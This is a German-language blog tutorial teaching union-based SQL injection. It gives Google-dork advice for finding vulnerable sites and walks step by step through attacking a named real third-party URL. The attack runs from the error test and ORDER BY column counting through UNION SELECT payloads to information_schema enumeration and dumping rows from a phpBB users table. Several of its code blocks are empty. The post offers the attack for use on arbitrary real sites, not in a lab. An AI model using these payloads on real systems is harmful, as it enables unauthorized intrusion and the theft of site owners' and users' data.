Hier ein Tutorial für die ’soziemlich einfachste Art einer SQL-Injection‘
1. Google~Dorkz
2. Anfang
3. Order+By
4. Union+Select, Version, Database
5. Tables
6. Columns
7. Daten
8. Danke fürs Lesen
1. Google~Dorkz
– Hier einpaar Google-Dorks, womit ihr nach SQLi-Vuln´s suchen könnt.
SQLI Dorks – ~ XakNet Forum ~
2. Anfang
-Also zum Anfang suchen wir uns erstmal eine Seite aus wo wir meinen, dass diese SQLi-Vuln ist.
Beispiel:
http://modules.t-o-m-e.net/script.php?id=24
Nun setzetn wir zum Anfang erst einfach ein Hochkomma hinten an die URL dran:
http://modules.t-o-m-e.net/script.php?id=24'
Wenn uns nun ein Fehler ausgegeben wird, dann haben wir eine Vuln gefunden.
Auf dieser Beispiel-Seite macht sich der Error, durch folgenden Text bemerkbar:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1"
3.Order+By
-Nun ermitteln wir mittels dem SQL-Command „Order+By“ die Column-Anzahl:
Diese Taktik funktioniert so:
Wir fragen den Server ab, ob er eine bestimmte Anzahl an Column´s besitzt, wenn NICHT, dann wird uns die Seite wieder einen Error ausgeben(Dies heisst, dann sie Seite hat WENIGER column´s als von uns gefragt)
Wenn die Seite KEINEN fehler ausgibt, bedeutet das, dass die Seite entweder diese Anzahl an Column´s besitzt oder mehr.
Dazu hängen wir den Befehl „Order+By+Anzahl“ hinten an die Vuln-Url ran.
Anzahl steht hierbei für unsere ColumnAnzahl die Abgefragt werden soll…
Testen wir es mal an einem Beispiel:
http://modules.t-o-m-e.net/script.php?id=24+order+by+10--
AM ENDE WERDEN IMMER 2 MINUSE DRAN GEHÄNGT IN JEDEM SCHRITT DEN WIR NOCH MACHEN WERDEN!!!
Hierbei wird gefragt, ob die Seite 10 Columns besitzt. -> Als Ergebnis erhalten wir einen Error, das heisst die Seite besitzt KEINE 10 Columns sondern weniger.
Jetzt testen wir halt einbissen rum…
http://modules.t-o-m-e.net/script.php?id=24+order+by+8--
Hier wird KEIN Fehler ausgegeben, das heisst, dass die Seite 8 Columns besitzt, wenn wir nun die Gegenprobe machen:
http://modules.t-o-m-e.net/script.php?id=24+order+by+9--
Sehen wir, dass er uns einen Fehler ausgibt nun wissen wir: 9 Columns = NEIN 8 Columns = JA
4.Union+Select, Version, Database
-Nun haben wir die Column-Anzahl dank dem Command „Order+By“ herausgefunden.
Column-Anzahl = 8
Diese reien wir nun erstmal an die URL an, undzwar indem wir hinten an die URL den SQL-Command „+Union+Select+Anzahl“ dranhängen.
Anzahl steht hierbei wieder für die Anzahl an Columns, die wir zuvor ermittelt haben.
Diese wird aber nicht als einzelne Zahl angegeben. Es wird nähmlich jede zahl von 1 bis zur Maximalen Column-Anzahl angegeben.(In diesem Fall: 1,2,3,4,5,6,7,8)
Testen wir es an unserem Beispiel:
Code:
T.o.M.E. Library – Script ‚ZAngband mutations (20kB)‘
Nun werden die einzelnen Zahlen auf der Seite verteilt angezeigt, da der Text der Seite meistens Nervt, setzen wir ein MINUS hinter die ID, so wird diese Ungültig gemacht:
Beispiel:
Hier zu beachten ist das MINUS hinter der 24 von: „id=24“
Code:
Anstelle der Zahlen die wir nun auf der Seite sehen, können wir die MySQL-version, und die Database ausgeben lassen.
Version-Befehl: „Version()“
Database-Befehl: „Database()“
Nun suchen wir uns eine Zahl, aus die wir sichtbar sehen/erkennen.
Für dieses Beispiel nehme ich die 2.
Um die Version auszulesen ersetzen wir in der URL die „2“ durch den Version-Befehl: „version()“
Beispiel:
Code:
http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,version(),3,4,5,6,7,8–
Nun wird uns auf dieser Seite folgendes Ausgegeben: 5.0.87
Das bedeutet die MySQL-version ist: 5.0.87
Uns interessiert immer nur die erste Zahl der Version. Ist diese 4 So haben wir es später schwerer die Tables,Columns auszulesen, da wir es dann selber erratenmüssten.
Da diese Seite MySQL-Version: 5 besitzt können wir uns die Table_names automatisch ausgeben lassen.
Das gleiche können wir auch mit dem Database-befehl tun, hierzu nehme ich wieder die „2“ und ersetze sie durch den Database-Befehl: „database()“
Beispiel:
Code:
http://modules.t-o-m-e.net/script.php?id=-24+union+select+1,database(),3,4,5,6,7,8–
Der Database-Name dieser Seite ist, also: darkdb
Den Database-Namen sollten wir uns nun irgendwo notieren, für die nächsten Schritte.
5. Tables
-Nun haben wir die Column-Anzahl, die Version, und den Database-Namen.
Wenn die MySQL-Version: 5 ist, dann können wir uns die Table-Names ganz einfach automatisch ausgeben lassen.
Indem wir unsere Zahl(In diesem Fall wieder „2“) durch „group_concat(table_name)“ ersetzen. Desweiteren gehen wir jetzt ans ENDE der URL, und gehen VOR die 2 MINUSE „–“ und setzen dort folgendes ein: +from+information_schema.tables+where+table_schema =0x“Database-Hex“
Database-Hex steht hierbei für den Hex-String des Database-Namen:
Ich habe ein Kleines programm geschrieben welches den Database-Namen in einen Hex-String umwandelt.
– – Einfach den Database-Namen(In diesem Fall: darkdb) oben in die Textbox eingeben, und den dann auftauchenden Hex-String oben Kopieren: 64:61:72:6b:64:62
Wir entfernen noch die Doppelpunkte des Hex-String, dann haben wir folgenden String: 6461726b6462
Nun setzen wir mal alles an einem Beispiel ein:
Code:
Nun werden uns im NormalFall mehrere Table-Namen nebeneinander aufgelistet, diese sollten wir uns nun irgendwo Notieren.
6. Columns
-Nun suchen wir uns einen Table_Name aus, aus dem wir unsere weiteren Columns auslesen wollen:
In diesem Beispiel nehme ich den Table: phpbb3acl_users -> Diesen lassen wir uns erstmal wieder als Hex-String ausgeben. Dies tun wir wieder mit dem Tool.
Dann die Doppelpunkte noch entfernen, und wir haben folgenden Hex-String: 70687062623361636c5f7573657273
Jetzt entfernen wir das „group_concat(table_name)“ durch „group_concat(column_name)“
Dann Entfernen wir vom vorherigen Schritt das „+from+information_schema.tables+where+table_s chem a=0x“Database-Hex“ durch „+from+information_schema.columns+where+table_ name =0x“Table-Hex“
In unserem Beispiel sieht das folgendermaßen aus:
Code:
Nun werden uns wieder einpaar Columns ausgegeben, diese sollten wir uns wieder Notieren.
Ich nehme für unser Beispiel folgende Columns: user_id
In diesem Table sind leider keine User_name, oder User_passwörter ,also nehme ich einfach user_id
7. Daten
-Nun haben wir einen Table haben, und einen Column den wir aus dem Table auslesen wollen.
Um uns die Daten ausgeben zu lassen, ändern wir „group_concat(column_name)“ durch „concat(user_id)“
Von unserem vorherigen Schritt ersetzen wir: „+from+Database.TableName“
Database steht hierbei für den normalen Namen der Database, also: darkdb
TableName steht hierbei für den normalen TableName den wir uns ausgesucht haben, also: phpbb3acl_users
Nun testen wir es an unserem Beispiel:
Code:
Nun wird uns die User_id der ersteln zeile ausgegeben, in diesem Fall: 7
Um wie in einer Liste hoch unt runter wählen zu können hängen wir hinter dem: „+from+darkdb.phpbb3acl_users“ noch ein „+limit+0,1“
Das sieht dann so aus:
Code:
Wenn wir nun die 0 zu einer 1 ändern, gehen wir eine zeile nach oben, und wir lesen die nächste „User_id“ aus wenn wir es auf 2 machen wieder eine neue, bis es irgendwann keine mehr gibt.
Sollten wir mehrere Columns aufeinmal auslesen wollen, in diesem Fall z.b (user_id und forum_id)
dann ersetzen wir einfach: „concat(user_id)“ durch „concat(user_id,0x3a,forum_id)“
das 0x3a steht hierbei für ein Doppelpunkt, so wird die User_id von der forum_id durch ein doppelpunkt getrennt.
8. Danke fürs Lesen
– – – So, danke fürs Lesen, ich hoffe euch hat es geholfen.
Zur Not, bin ich ja noch als Support da, und ihr könnt mich jederzeit Fragen
Credits goes to Padrino
2 Kommentare
Marco
Vielen Danke für den Post . Sehr gut :D Der Blog ist sehr informativ . Ich werde öfters vorbeikommen.